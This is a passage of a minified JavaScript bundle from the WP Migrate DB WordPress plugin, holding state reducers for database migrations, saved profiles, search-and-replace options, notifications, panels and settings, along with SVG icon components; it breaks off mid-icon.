n=a(60987),r=a(56840),i=a.n(r),l=a(9943),s=a.n(l),c=a(4173),o=a(33782),d=a(14057),m=a(48346),p="REPLACE_CURRENT_MIGRATION",u="SET_MIGRATION_CONNECTED",_="UPDATE_SELECTED_TABLES",g="UPDATE_TABLES_OPTION",f="UPDATE_BACKUPS_TABLES",b="UPDATE_BACKUPS_OPTION",h="UPDATE_POSTTYPES_SELECTED",v="UPDATE_POSTTYPES_OPTION",E="UPDATE_CURRENT_MIGRATION",w="UPDATE_ADVANCED_OPTIONS",y="UPDATE_SOURCE_PREFIX",A="UPDATE_DESTINATION_PREFIX",k="UPDATE_TWO_MULTISITES",x="UPDATE_LOCAL_SOURCE",N="REPLACE_ADVANCED_OPTIONS",S="LOAD_PROFILE",T="SET_EXISTING_PROFILE",P="SET_MIGRATION_PREVIEW",O="SET_MIGRATION_STAGES",C="SET_CURRENT_STAGE",R="SET_STATUS",D="SET_MIGRATION_ENABLED",I="SET_MIGRATION_RUNNING",M="SET_STAGES_COMPLETE",L="SET_STAGE_COMPLETE",F="SET_MIGRATION_ID",B="SET_HIGH_PERFORMANCE_TRANSFERS_STATUS",U="TOGGLE_DATABASE_PANEL",z="SET_CURRENT_PAYLOAD_SIZE",G="INCREMENT_FILE_TRANSFER_COUNT",j="ADD_PAYLOAD_SIZE_HISTORY",V="SET_CURRENT_MAX_PAYLOAD_SIZE",H="ADD_HIGH_PERFORMANCE_TRANSFER_STAT",W={connected:!1,intent:"",tables_option:"all",tables_selected:[],backup_option:"none",backup_tables_selected:[],post_types_option:"all",post_types_selected:[],advanced_options_selected:[],profile_name:"",selected_existing_profile:null,profile_type:null,status:{disabled:!1},stages:[],current_stage:"",stages_complete:[],running:!1,migration_enabled:!1,migration_id:null,source_prefix:"",destination_prefix:"",preview:!1,selectedComboOption:"preview",twoMultisites:!1,localSource:!0,databaseEnabled:!0,currentPayloadSize:0,currentMaxPayloadSize:null,fileTransferRequests:0,payloadSizeHistory:[],fileTransferStats:[],forceHighPerformanceTransfers:!0,fseDumpFilename:null},q=["replace_guids","exclude_spam","exclude_transients","keep_active_plugins","compatibility_older_mysql","gzip_file"];function Z(e,t,a){return(0,n.A)((0,n.A)({},e),{},{[t]:a})}var Q=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:W,t=arguments.length>1?arguments[1]:void 0,a=(0,n.A)({},e);return(0,c.Ay)(e,(r=>{var l;switch(t.type){case"RESET_APP":return W;case"RESET_MIGRATION":return(0,n.A)((0,n.A)({},W),{},{intent:e.intent});case p:return i()(r,t.payload);case E:return r.intent=t.payload.intent,r;case P:return r.preview=t.payload,r;case d.Yz:return r.profile_name=t.payload,r;case u:return r.connected=t.connected,r;case _:var c=(0,n.A)((0,n.A)({},e),{},{tables_selected:t.payload});return"migration"===e.backup_option&&s()(c,{backup_tables_selected:t.payload}),c;case y:return Z(e,"source_prefix",t.payload);case A:return Z(e,"destination_prefix",t.payload);case k:return Z(e,"twoMultisites",t.payload);case x:return Z(e,"localSource",t.payload);case g:return Z(e,"tables_option",t.payload);case f:return Z(e,"backup_tables_selected",t.payload);case b:return Z(e,"backup_option",t.payload);case h:return Z(e,"post_types_selected",t.payload);case v:return Z(e,"post_types_option",t.payload);case F:return Z(e,"migration_id",t.payload);case w:return a=(0,o.mx)(e.advanced_options_selected,t.payload),(0,n.A)((0,n.A)({},e),{},{advanced_options_selected:a});case N:return(0,n.A)((0,n.A)({},e),{},{advanced_options_selected:t.payload});case S:var q=t.payload.profile.value.current_migration,Q=q.intent;return(0,n.A)((0,n.A)({},q),{},{connected:!1,selected_existing_profile:t.payload.id,profile_type:t.payload.profile.value.profile_type,stages_complete:[],migration_enabled:!["push","pull"].includes(Q),currentPayloadSize:0,fileTransferRequests:0,payloadSizeHistory:[]});case T:case d.rM:return r.selected_existing_profile=t.payload.id,r.profile_type=t.payload.type,r;case"SET_MIGRATION_DISABLED":return(0,n.A)((0,n.A)({},r),{},{status:(0,n.A)((0,n.A)({},r.status),{},{disabled:t.payload})});case O:return(0,n.A)((0,n.A)({},r),{},{stages:t.payload});case C:return(0,n.A)((0,n.A)({},r),{},{current_stage:t.payload});case I:return(0,n.A)((0,n.A)({},r),{},{running:t.payload,preview:!1!==t.payload&&r.preview});case R:return(0,n.A)((0,n.A)({},r),{},{status:t.payload});case D:return(0,n.A)((0,n.A)({},r),{},{migration_enabled:t.payload});case"SET_CONNECTED":return(0,n.A)((0,n.A)({},r),{},{migration_enabled:!0});case L:return r.stages_complete.push(t.payload),r;case M:return(0,n.A)((0,n.A)({},r),{},{stages_complete:t.payload});case"MST_TOGGLE_ENABLED":return t.payload.enabled?r:Z(e,"tables_option","all");case"SET_SELECTED_MIGRATION_COMBO_OPTION":return(0,n.A)((0,n.A)({},r),{},{selectedComboOption:t.payload});case U:return(0,n.A)((0,n.A)({},r),{},{databaseEnabled:!r.databaseEnabled});case m.f7:return(0,n.A)((0,n.A)({},r),{},{currentPayloadSize:0,fileTransferRequests:0,payloadSizeHistory:[],fileTransferStats:[]});case z:return(0,n.A)((0,n.A)({},r),{},{currentPayloadSize:t.payload});case V:return(0,n.A)((0,n.A)({},r),{},{currentMaxPayloadSize:t.payload});case j:return(0,n.A)((0,n.A)({},r),{},{payloadSizeHistory:[...r.payloadSizeHistory?r.payloadSizeHistory:[],null!==(l=t.payload)&&void 0!==l?l:0]});case G:return r.fileTransferRequests?(0,n.A)((0,n.A)({},r),{},{fileTransferRequests:r.fileTransferRequests+1}):(0,n.A)((0,n.A)({},r),{},{fileTransferRequests:1});case B:var Y,J,K=!1;if("push"===r.intent)K=null!==(Y=t.payload.remote_site_mode)&&void 0!==Y&&Y;if("pull"===r.intent)K=null!==(J=t.payload.local_site_mode)&&void 0!==J&&J;return(0,n.A)((0,n.A)({},r),{},{highPerformanceTransfersStatus:K});case H:return(0,n.A)((0,n.A)({},r),{},{fileTransferStats:[...r.fileTransferStats?r.fileTransferStats:[],t.payload]});case"SET_FORCE_HIGH_PERFORMANCE_TRANSFERS":return(0,n.A)((0,n.A)({},r),{},{forceHighPerformanceTransfers:t.payload});case"SET_FSE_DUMP_FILENAME":return(0,n.A)((0,n.A)({},r),{},{fseDumpFilename:t.payload});default:return e}}))}},36181:(e,t,a)=>{"use strict";a.d(t,{R0:()=>c,Wb:()=>l,eu:()=>i});var n=a(60987),r=a(48346),i="ADD_DRY_RUN_RESULT",l="SET_CURRENTLY_PREVIEWED_DRY_RUN_ITEM",s={results:[],currentPreviewItem:null},c=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:s,t=arguments.length>1?arguments[1]:void 0,a=(0,n.A)({},e);switch(t.type){case i:var c=[...a.results],o=c.findIndex((e=>e.table===t.payload.table));if(-1!==o){var d=(0,n.A)({},c[o]);d.data=d.data.concat(t.payload.data),d.count=d.data.length,d.time+=t.payload.time,d.executed=!0,c[o]=d}else c.push((0,n.A)((0,n.A)({},t.payload),{},{count:t.payload.data.length}));return(0,n.A)((0,n.A)({},a),{},{results:c});case l:return(0,n.A)((0,n.A)({},e),{},{currentPreviewItem:t.payload});case r.IG:return"CANCEL_COMPLETE"===t.payload?(0,n.A)({},s):(0,n.A)({},e);default:return e}}},47198:(e,t,a)=>{"use strict";a.d(t,{Ay:()=>s,Hm:()=>r,b8:()=>i,qG:()=>l});var n=a(93974),r="ADD_ACTION",i="ADD_FILTER",l="REMOVE_FILTER";const s=(0,n.vy)({filters:[],actions:[]},{ADD_ACTION:(e,t)=>(e.actions.push(t.payload),e),ADD_FILTER:(e,t)=>(e.filters.push(t.payload),e),REMOVE_FILTER:(e,t)=>{var a=e.filters;return e.filters=a.filter((e=>e.name!==t.payload.name)),e}})},48346:(e,t,a)=>{"use strict";a.d(t,{$b:()=>k,AJ:()=>m,Hg:()=>g,I8:()=>y,IG:()=>p,Ns:()=>d,O4:()=>N,PF:()=>u,Ts:()=>S,Uk:()=>h,XY:()=>v,Xo:()=>O,Y0:()=>_,Z6:()=>A,bo:()=>w,dJ:()=>o,eG:()=>P,f7:()=>b,js:()=>E,ks:()=>c,mN:()=>l,oC:()=>f,pV:()=>x,xy:()=>T});var n=a(60987),r=a(4173),i=a(95222),l="MIGRATION_ERROR_TYPE_FATAL",s={title:"",progress_message:"",progress:{},stages:[],migration_tables:[],status:"",progress_stage:"",total_stage_size:0,migration_size:0,stage_size:0,item_progress:{},timer:{on:!1,start:0,time:0,timer_instance:null},pause_before_finalize:!1,document_title:"",dump_info:{},allow_page_leave:!0,showDryRunResults:!1},c="SET_TITLE",o="SET_PROGRESS_MESSAGE",d="SET_MIGRATION_ERROR",m="SET_MIGRATION_TABLES",p="MIGRATION_STATUS",u="SET_STAGE_TOTAL_SIZE",_="SET_STAGE_SIZE",g="SET_ITEM_PROGRESS",f="RESET_STAGES",b="RESET_MIGRATION_SIZE",h="SET_PROGRESS_STAGE",v="RESET_PROGRESS_STAGE",E="SET_TIMER_ON",w="SET_TIMER_TIME",y="SET_TIMER_START",A="SET_TIMER",k="SET_TIMER_INSTANCE",x="SET_PAUSE_BEFORE_FINALIZE",N="SET_DOCUMENT_TITLE",S="SET_DUMP_INFO",T="SET_ALLOW_PAGE_LEAVE",P="SET_SHOW_DRY_RUN_RESULTS",O=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:s,t=arguments.length>1?arguments[1]:void 0;return(0,r.Ay)(e,(a=>{switch(t.type){case"RESET_APP":return s;case i.q2:return!0===t.payload?(0,n.A)((0,n.A)({},a),{},{status:"",showDryRunResults:!1}):e;case c:return(0,n.A)((0,n.A)({},a),{},{title:t.payload});case o:return(0,n.A)((0,n.A)({},a),{},{progress_message:t.payload});case"SET_PROGRESS":return(0,n.A)((0,n.A)({},a),{},{progress:t.payload});case d:return(0,n.A)((0,n.A)({},a),{},{status:(0,n.A)((0,n.A)({},a.status),{},{error_type:t.payload.error_type,error_message:t.payload.error_message})});case m:return(0,n.A)((0,n.A)({},a),{},{migration_tables:t.payload});case h:return(0,n.A)((0,n.A)({},a),{},{progress_stage:t.payload});case"REMOVE_MIGRATION_TABLE":return a.migration_tables.splice(t.payload,1),a;case p:return(0,n.A)((0,n.A)({},a),{},{status:t.payload});case u:return(0,n.A)((0,n.A)({},a),{},{total_stage_size:t.payload});case _:return(0,n.A)((0,n.A)({},a),{},{stage_size:t.payload});case g:var r=(0,n.A)({},a.item_progress),l=t.payload,O=l.item,C=l.progress;return r[O]=C,(0,n.A)((0,n.A)({},a),{},{item_progress:r});case v:return(0,n.A)((0,n.A)({},a),{},{item_progress:{},stage_size:0});case A:return(0,n.A)((0,n.A)({},a),{},{timer:t.payload});case k:return(0,n.A)((0,n.A)({},a),{},{timer:(0,n.A)((0,n.A)({},a.timer),{},{timer_instance:t.payload})});case E:return(0,n.A)((0,n.A)({},a),{},{timer:(0,n.A)((0,n.A)({},a.timer),{},{on:t.payload})});case w:return(0,n.A)((0,n.A)({},a),{},{timer:(0,n.A)((0,n.A)({},a.timer),{},{time:t.payload})});case y:return(0,n.A)((0,n.A)({},a),{},{timer:(0,n.A)((0,n.A)({},a.timer),{},{start:t.payload})});case b:return(0,n.A)((0,n.A)({},a),{},{migration_size:0});case f:return(0,n.A)((0,n.A)({},a),{},{total_stage_size:0,stage_size:0,item_progress:{}});case x:return(0,n.A)((0,n.A)({},a),{},{pause_before_finalize:t.payload});case N:return(0,n.A)((0,n.A)({},a),{},{document_title:t.payload});case S:return(0,n.A)((0,n.A)({},a),{},{dump_info:t.payload});case i.kl:var R=t.payload,D=a.total_stage_size,I=a.migration_size;return["backup","upload"].includes(R)||(I+=D),(0,n.A)((0,n.A)({},a),{},{migration_size:I});case T:return(0,n.A)((0,n.A)({},a),{},{allow_page_leave:t.payload});case P:return(0,n.A)((0,n.A)({},a),{},{showDryRunResults:t.payload});default:return e}}))}},87135:(e,t,a)=>{"use strict";a.d(t,{Ay:()=>p,BA:()=>d,RO:()=>o,_V:()=>l,tE:()=>s,uf:()=>c,wy:()=>m});var n=a(60987),r=a(4173),i={messages:(0,n.A)({},window.wpmdb_notifications),status:{},errors:{},hidden:{}},l="ADD_NOTIFICATION",s="REMOVE_NOTIFICATION",c="SET_NOTIFICATION_STATUS",o="DELETE_NOTIFICATION_ERROR",d="HIDE_NOTIFICATION",m="SHOW_NOTIFICATION";const p=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:i,t=arguments.length>1?arguments[1]:void 0;return(0,r.Ay)(e,(a=>{var r=t.payload;switch(t.type){case l:return(0,n.A)((0,n.A)({},a),{},{messages:(0,n.A)((0,n.A)({},a.messages),{},{[r.key]:r.value})});case s:return delete a.messages[r.key],a;case c:return(0,n.A)((0,n.A)({},a),{},{status:(0,n.A)((0,n.A)({},a.status),{},{[t.payload.type]:t.payload.status})});case"SET_NOTIFICATION_ERROR":return(0,n.A)((0,n.A)({},a),{},{errors:(0,n.A)((0,n.A)({},a.errors),{},{[t.payload.location]:t.payload.message})});case o:return delete a.errors[t.payload],a;case d:return a.hidden[r]=r,a;case m:return delete a.hidden[r],a;default:return e}}))}},834:(e,t,a)=>{"use strict";a.d(t,{Ay:()=>v,Hs:()=>d,Ib:()=>p,Ns:()=>f,RH:()=>u,S8:()=>m,TI:()=>_,lY:()=>b,oZ:()=>g});var n=a(60987),r=a(4173),i=a(17762),l=a(64760),s=a.n(l),c=a(40783),o=a(33782),d="UPDATE_MIGRATION_PANELS",m="UPDATE_PANEL_TITLE",p="UPDATE_MIGRATION_PANELS_OPEN",u="TOGGLE_OPEN_PANEL",_="REMOVE_OPEN_PANEL",g="SET_PANEL_CLICKED",f="SET_PANEL_STATUS",b="REGISTER_PANEL",h={panelsToDisplay:[],panelsOpen:["action_buttons"],panelClicked:[],panelStatus:"",panelTitles:{action_buttons:(0,i.__)("Action","wp-migrate-db"),connect:(0,i.__)("Remote Site","wp-migrate-db"),database:(0,i.__)("Database","wp-migrate-db"),import:(0,i.__)("SQL File","wp-migrate-db"),save:(0,i.__)("Save Profile","wp-migrate-db")},panelSummaries:{},dbTitles:{tables:c.m.tables.all,backups:c.m.backups.none,post_types:c.m.post_types.all,custom_search_replace:""},registeredPanels:[]};const v=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:h,t=arguments.length>1?arguments[1]:void 0;return(0,r.Ay)(e,(a=>{switch(t.type){case"RESET_APP":return;case"RESET_MIGRATION":var r=(0,n.A)((0,n.A)({},h),{},{panelsToDisplay:["action_buttons","connect"]});return t.payload&&(r.panelsOpen=t.payload),r;case d:return a.panelsToDisplay=t.payload,t.panelPayload&&(a.panelsOpen=t.panelPayload),a;case m:var l=t.payload,c=l.title,b=l.parent;return a.panelTitles[b]=c,a;case p:return a.panelsOpen=t.payload,a;case u:return a.panelsOpen=(0,o.mx)(e.panelsOpen,t.payload),a;case _:var v=s()(a.panelsOpen,((e,a)=>t.payload!==e));return(0,n.A)((0,n.A)({},a),{},{panelsOpen:v});case g:return a.panelClicked=t.payload,a;case f:return a.panelStatus=t.payload,a;case"UPDATE_DB_PANEL_TITLE":return a=function(e,t,a){e.dbTitles[a.payload.key]=a.payload.title;var n=Object.values(e.dbTitles).filter((e=>e)).join(", ");return t=(0,i.__)("Database","wp-migrate-db")+": ".concat(n),e.panelTitles.database=t,e}(a,c,t),a;case"MST_TOGGLE_ENABLED":return!t.payload&&a.panelsOpen.includes("tables")&&a.panelsOpen.splice(a.panelsOpen.indexOf("tables"),1),a;case"REGISTER_PANEL":return a.registeredPanels.includes(t.payload)||a.registeredPanels.push(t.payload),a;default:return e}}))}},14057:(e,t,a)=>{"use strict";a.d(t,{Ay:()=>N,J9:()=>o,LK:()=>_,St:()=>g,WG:()=>p,XG:()=>h,Yw:()=>A,Yz:()=>m,_v:()=>E,el:()=>s,m4:()=>w,px:()=>f,r:()=>b,rM:()=>v,rZ:()=>d,tS:()=>u,vV:()=>y,xc:()=>c});var n=a(60987),r=a(17762),i=a(93974),l=a(33782),s="ADD_PROFILE",c="ADD_RECENT_MIGRATION",o="REMOVE_PROFILE",d="RENAME_PROFILE",m="SAVE_PROFILE_NAME",p="TOGGLE_PROFILE_EDIT",u="PROFILE_SAVING",_="SAVING_RECENT",g="PROFILE_RENAMING",f="PROFILE_OVERWRITING",b="PROFILE_DELETING",h="PROFILE_SAVE_ERROR",v="SET_CURRENT_PROFILE",E="SET_BUTTON_TEXT",w="SET_PROFILE_STATUS",y="PROFILE_LOADING",A="PROFILE_LOAD_ERROR",k={saving:!1,saving_recent:!1,profile_renaming:!1,profile_deleting:!1,profile_overwriting:!1,profile_save_error:"",profile_loading:null,profile_load_error:!1},x={saved:window.wpmdb_data.migration_profiles,recent:window.wpmdb_data.recent_migrations,toggled:[],status:k,current_profile:null,loaded_profile:null,imported:!1,ui:{btn_text:(0,r.__)("Save","wp-migrate-db")}};const N=(0,i.vy)(x,{RESET_APP:(e,t)=>(e.current_profile=null,e.loaded_profile=null,e.status=k,e),PROFILE_SAVE_ERROR:(e,t)=>(e.status={saving:!1,saving_recent:!1,profile_renaming:!1,profile_deleting:!1,profile_overwriting:!1,profile_save_error:t.payload.data},e),TOGGLE_PROFILE_EDIT:(e,t)=>(e.toggled=(0,l.mx)(e.toggled,t.payload),e),PROFILE_SAVING:(e,t)=>(e.status=(0,n.A)((0,n.A)({},e.status),{},{saving:!0,profile_save_error:""}),e.ui.btn_text=(0,r.__)("Saving...","wp-migrate-db"),e),SAVING_RECENT:(e,t)=>(e.status=(0,n.A)((0,n.A)({},e.status),{},{saving_recent:!0,profile_save_error:""}),e),ADD_PROFILE:(e,t)=>(e.saved.push(t.payload),e.status.saving=!1,e),ADD_RECENT_MIGRATION:(e,t)=>(e.recent=t.payload.profiles,e.status.saving_recent=!1,e),PROFILE_DELETING:(e,t)=>(e.status=(0,n.A)((0,n.A)({},e.status),{},{profile_deleting:!0,profile_save_error:""}),e),REMOVE_PROFILE:(e,t)=>(e[t.payload.slice].splice(t.payload.index,1),e.status=(0,n.A)((0,n.A)({},e.status),{},{saving_recent:!1,profile_deleting:!1}),e),PROFILE_RENAMING:(e,t)=>(e.status=(0,n.A)((0,n.A)({},e.status),{},{profile_renaming:!0,profile_save_error:""}),e),RENAME_PROFILE:(e,t)=>(e.saved[t.payload.index].name=t.payload.text,e.status.profile_renaming=!1,e),PROFILE_OVERWRITING:(e,t)=>(e.status.profile_overwriting=t.payload,e.status.profile_save_error="",null!==e.loaded_profile&&(e.loaded_profile.imported=!1),e.ui.btn_text=(0,r.__)("Saving...","wp-migrate-db"),e),PROFILE_LOADING:(e,t)=>(e.status.profile_loading=!0,e),LOAD_PROFILE:(e,t)=>(e.status.profile_loading=!1,e.current_profile=t.payload.id,e.loaded_profile=t.payload.profile,e),SET_PROFILE_STATUS:(e,t)=>(e.status.profile_loading=!1,e),SET_CURRENT_PROFILE:(e,t)=>(e.current_profile=t.payload.id,e),SET_BUTTON_TEXT:(e,t)=>(e.ui.btn_text=t.payload,e),PROFILE_LOAD_ERROR:(e,t)=>(e.status.profile_load_error=t.payload,e)})},58215:(e,t,a)=>{"use strict";a.d(t,{Co:()=>h,Ob:()=>p,Oh:()=>g,UF:()=>f,WU:()=>v,eE:()=>u,ez:()=>A,l$:()=>b,lb:()=>d,nu:()=>m,o8:()=>o,qA:()=>_});var n=a(60987),r=a(24914),i=a.n(r),l=a(4173),s=a(33782),c=a(95222),o="UPDATE_STANDARD_SEARCH_REPLACE",d="UPDATE_STANDARD_SEARCH_REPLACE_DOMAIN",m="TOGGLE_STANDARD_SEARCH_REPLACE",p="TOGGLE_STANDARD_SEARCH_REPLACE_VISIBLE",u="UPDATE_CUSTOM_SEARCH_REPLACE",_="REORDER_CUSTOM_SEARCH_REPLACE",g="ADD_CUSTOM_SEARCH_REPLACE_ITEM",f="DELETE_CUSTOM_SEARCH_REPLACE_ITEM",b="SET_CUSTOM_SEARCH_REPLACE",h="SET_CUSTOM_SEARCH_DOMAIN_LOCKED",v="RESET_CUSTOM_SEARCH_REPLACE",E=function(){return{replace_old:arguments.length>0&&void 0!==arguments[0]?arguments[0]:"",replace_new:arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",focus:arguments.length>2&&void 0!==arguments[2]&&arguments[2],regex:arguments.length>3&&void 0!==arguments[3]&&arguments[3],isValidRegex:arguments.length>6&&void 0!==arguments[6]?arguments[6]:null,replace_old_placeholder:arguments.length>4&&void 0!==arguments[4]?arguments[4]:"",replace_new_placeholder:arguments.length>5&&void 0!==arguments[5]?arguments[5]:"",id:arguments.length>7&&void 0!==arguments[7]?arguments[7]:i()()}},w=[E()],y={standard_search_replace:{domain:{search:"",replace:""},path:{search:"",replace:""}},standard_options_enabled:["domain","path"],standard_search_visible:!0,custom_search_replace:w,custom_search_domain_locked:!1},A=function(){var e,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:y,a=arguments.length>1?arguments[1]:void 0;return(0,l.Ay)(t,(t=>{switch(a.type){case o:return(0,n.A)((0,n.A)({},t),{},{standard_search_replace:a.payload});case d:return(0,n.A)((0,n.A)({},t),{},{standard_search_replace:{path:(0,n.A)({},t.standard_search_replace.path),domain:a.payload}});case p:return(0,n.A)((0,n.A)({},t),{},{standard_search_visible:a.payload});case m:return e=(0,s.mx)(t.standard_options_enabled,a.payload),(0,n.A)((0,n.A)({},t),{},{standard_options_enabled:e});case u:var r=a.payload,i=r.key,l=r.option,y=r.value;return t.custom_search_replace[i]&&(t.custom_search_replace[i][l]=y),t;case _:return(0,n.A)((0,n.A)({},t),{},{custom_search_replace:a.payload});case g:return t.custom_search_replace.push(E("","",a.payload)),t;case f:return e=(0,s.mx)(t.custom_search_replace,t.custom_search_replace[a.index]),(0,n.A)((0,n.A)({},t),{},{custom_search_replace:e});case v:return(0,n.A)((0,n.A)({},t),{},{custom_search_replace:w});case b:var A=a.payload.local_site,k=A.this_url,x=A.this_path,N=a.payload,S=N.intent,T=N.force_update;return"savefile"===S||T&&"import"!==S?t.custom_search_replace=[E("","")]:T&&"import"===S&&(t.custom_search_replace=[E("",(0,s.b5)(k)),E("",x),E("","")]),t;case h:return t.custom_search_domain_locked=a.payload,t;case c.vm:var P=a.payload.profile.value.search_replace;return(0,n.A)({},P);default:return t}}))}},86140:(e,t,a)=>{"use strict";a.d(t,{Ay:()=>u,F2:()=>o,_Q:()=>m,pH:()=>d,vG:()=>p,yc:()=>c});var n=a(60987),r=a(19496),i=a(4173),l=window.wpmdb_settings;Object.entries(l).forEach((e=>{var t=(0,r.A)(e,2),a=t[0];t[1];"delay_between_requests"!==a&&(["1",""].includes(l[a])&&(l[a]="1"===l[a]))})),l.max_request=parseInt(l.max_request),l.isPro="false"!==window.wpmdb_data.is_pro,l.delay_between_requests=parseInt(l.delay_between_requests);l.masked_licence||(l.masked_licence=null);var s=(0,n.A)((0,n.A)({},l),{status:{resetting_api_key:!1},errors:{}}),c="SET_SETTINGS_STATUS",o="SETTINGS_ERROR",d="DELETE_SETTINGS_ERROR",m="SET_API_KEY",p="UPDATE_SETTING";const u=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:s,t=arguments.length>1?arguments[1]:void 0;return(0,i.Ay)(e,(a=>{switch(t.type){case"SET_ACTION":return a;case d:return delete a.errors[t.payload],a;case o:return(0,n.A)((0,n.A)({},a),{},{errors:(0,n.A)((0,n.A)({},a.errors),{},{[t.payload.location]:t.payload.message})});case"LICENSE_REMOVED":return(0,n.A)((0,n.A)({},a),{},{licence:"",masked_licence:null});case c:return(0,n.A)((0,n.A)({},a),{},{status:(0,n.A)((0,n.A)({},a.status),{},{[t.payload.type]:t.payload.status})});case m:return(0,n.A)((0,n.A)({},a),{},{key:t.payload});case p:return(0,n.A)((0,n.A)({},a),{},{[t.payload.setting]:t.payload.value});case"UPDATE_SETTINGS":return(0,n.A)((0,n.A)({},a),t.payload);default:return e}}))}},75742:(e,t,a)=>{"use strict";a.d(t,{z:()=>i});var n=a(57524),r=e=>e.migrations.connection_info;function i(e,t){return(0,n.JU)(r,"connection_info",e,t)}},57524:(e,t,a)=>{"use strict";a.d(t,{JU:()=>E,Qu:()=>A,dV:()=>v,jG:()=>_,kv:()=>g,sS:()=>k,ud:()=>u,vg:()=>f,w1:()=>h,yy:()=>b});var n=a(31623),r=a(94263),i=a.n(r),l=a(33782),s=e=>e.migrations.current_migration,c=e=>e.migrations.remote_site,o=e=>e.migrations.local_site,d=e=>e.migrations,m=e=>e.migrations.search_replace,p=e=>e.migrations.migration_progress;function u(e,t){return E(s,"current_migration",e,t)}function _(e,t){return E(d,"migration",e,t)}function g(e){return h("migration_tables",e)}function f(e,t){return E(c,"remote_site",e,t)}function b(e,t){return E(o,"local_site",e,t)}function h(e,t,a){return E(p,"migration_progress",e,t,a)}function v(e,t){return E(m,"search_replace",e,t)}var E=function(e,t,a,r){var i=arguments.length>4&&void 0!==arguments[4]?arguments[4]:"array",l=(0,n.Mz)([e],(e=>"object"===typeof a?w(e,a,i):y(e,a)));return l(r)},w=(e,t,a)=>{var n=[],r={};return t.forEach((t=>{e.hasOwnProperty(t)&&("array"===a?n.push(e[t]):"object"===a&&(r[t]=e[t]))})),Object.keys(r).length>0?r:n},y=(e,t)=>{if(e.hasOwnProperty(t))return e[t]},A=e=>{var t=u("intent",e);return i()(["push","pull"],t)},k=async e=>{var t=u("intent",e),n=u("tables_option",e),r=u("tables_selected",e),i=b("this_prefixed_tables",e);if("selected"===n)i=r;else if("import"===t&&(0,l.PQ)()){var s=(0,(await Promise.resolve().then(a.bind(a,56675))).selectFromImportData)("tables",e),c=b("this_temp_prefix",e);i=s.map((e=>c+e))}else"pull"===t&&(i=f("prefixed_tables",e));return i}},48665:(e,t,a)=>{"use strict";a.d(t,{o:()=>i});var n=a(57524),r=e=>e.panels;function i(e,t){return(0,n.JU)(r,"panels",e,t)}},50029:(e,t,a)=>{"use strict";a.d(t,{G:()=>i});var n=a(57524),r=e=>e.profiles;function i(e,t){return(0,n.JU)(r,"profiles",e,t)}},58347:(e,t,a)=>{"use strict";a.d(t,{k:()=>i});var n=a(57524),r=e=>e.settings;function i(e,t){return(0,n.JU)(r,"settings",e,t)}},62206:(e,t,a)=>{"use strict";a.d(t,{lB:()=>E,LC:()=>v,Hg:()=>f,xj:()=>h});var n,r=a(57748),i=a(52888),l=a(98332);function s(){return s=Object.assign?Object.assign.bind():function(e){for(var t=1;ti.createElement("svg",s({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 16 16",id:"el_HS5Ejor-n"},e),n||(n=i.createElement("path",{d:"M8 2v2a4 4 0 1 0 4 4h2a6 6 0 1 1-6-6Z",id:"el_6X7lquFKkl"})))))(u||(u=(0,r.A)(["\n width: 1.2rem;\n height: 1.2rem;\n display: inline;\n"])))),h=e=>i.createElement("span",{className:"styled-spinner-wrap ".concat(e.className?e.className:"")},i.createElement(b,null)),v=(0,l.Ay)(h)(_||(_=(0,r.A)(["\n margin-left: 5px;\n position: absolute;\n top: -10px;\n #el_6X7lquFKkl {\n fill: ",";\n }\n"])),o.e8),E=(0,l.Ay)((e=>i.createElement("svg",d({width:24,height:24,viewBox:"0 0 24 24",xmlSpace:"preserve"},e),i.createElement("g",{transform:"translate(4 4)"},i.createElement("circle",{id:"license-checked-a",cx:8,cy:8,r:8,style:{fill:"#236de7"}}),i.createElement("path",{d:"M7.587 11.338a1.01 1.01 0 0 1-1.433 0L3.933 9.104a1.024 1.024 0 0 1 0-1.442 1.01 1.01 0 0 1 1.433 0l1.323 1.331c.1.1.262.1.362 0l3.583-3.604a1.01 1.01 0 0 1 1.433 0 1.025 1.025 0 0 1 0 1.442l-4.48 4.507Z",style:{fill:"#fff",fillRule:"nonzero"}})))))(g||(g=(0,r.A)(["\n use {\n fill: #236de7;\n }\n"])))},35923:(e,t,a)=>{"use strict";a.d(t,{SH:()=>r,aw:()=>i,e8:()=>n});var n="#236DE7",r="#575757",i="#dc3232"},17980:(e,t,a)=>{"use strict";var n,r=a(52888),i=a(24467),l=a(12758),s=a(99764),c=a(83008),o=a(58351);function d(){return d=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",d({xmlns:"http://www.w3.org/2000/svg",width:52,height:52,viewBox:"0 0 52 52"},e),n||(n=r.createElement("g",{fill:"none"},r.createElement("path",{fill:"#FFF",d:"M42.867 30.29h-5.531c0-1 .678-1.813 1.516-1.813.018 0 .036.004.054.004.502-.943 1.383-1.571 2.387-1.571.982 0 1.853.607 2.358 1.52a1.727 1.727 0 0 1 1.16-.462c1.075 0 1.942 1.04 1.942 2.322h-3.886ZM30.797 18.066c-1.39-2.155-.705-5.07 1.534-6.514l.387.603c.834-1.86 2.751-3.16 4.983-3.16v10.036h2c.004-1.167 1.127-2.113 2.517-2.113s2.514.946 2.514 2.113h-2.514c-.007 1.177-3.166 2.134-7.063 2.134-3.9 0-7.063-.957-7.063-2.134h3.575a4.452 4.452 0 0 1-.87-.965Zm-6.334 3.99h-6.688c0-.787.82-1.43 1.827-1.43.087 0 .17.011.25.019.487-.408 1.177-.665 1.95-.665 1.469 0 2.66.928 2.66 2.077Zm-8.873-10.064 1.502 1.593c.03-.412.138-.823.34-1.21.805-1.545 2.755-2.123 4.362-1.289l-2.466 4.745h.953c.004-.653.636-1.184 1.416-1.184.787 0 1.419.53 1.419 1.188l-1.42.003c-.01.661-1.787 1.196-3.983 1.196-2.199 0-3.983-.538-3.983-1.203h1.52c-.884-1.127-.765-2.791.34-3.838Zm-6.8 4.724c.16.173.311.357.452.549a4.704 4.704 0 0 1 4.362 3.643 4.696 4.696 0 0 1-1.722 4.774 7.253 7.253 0 0 1 2.484 1.116 8.147 8.147 0 0 1 3.716-1.957 8.142 8.142 0 0 1 5.037.451 4.34 4.34 0 0 1 6.673 3.9 2.51 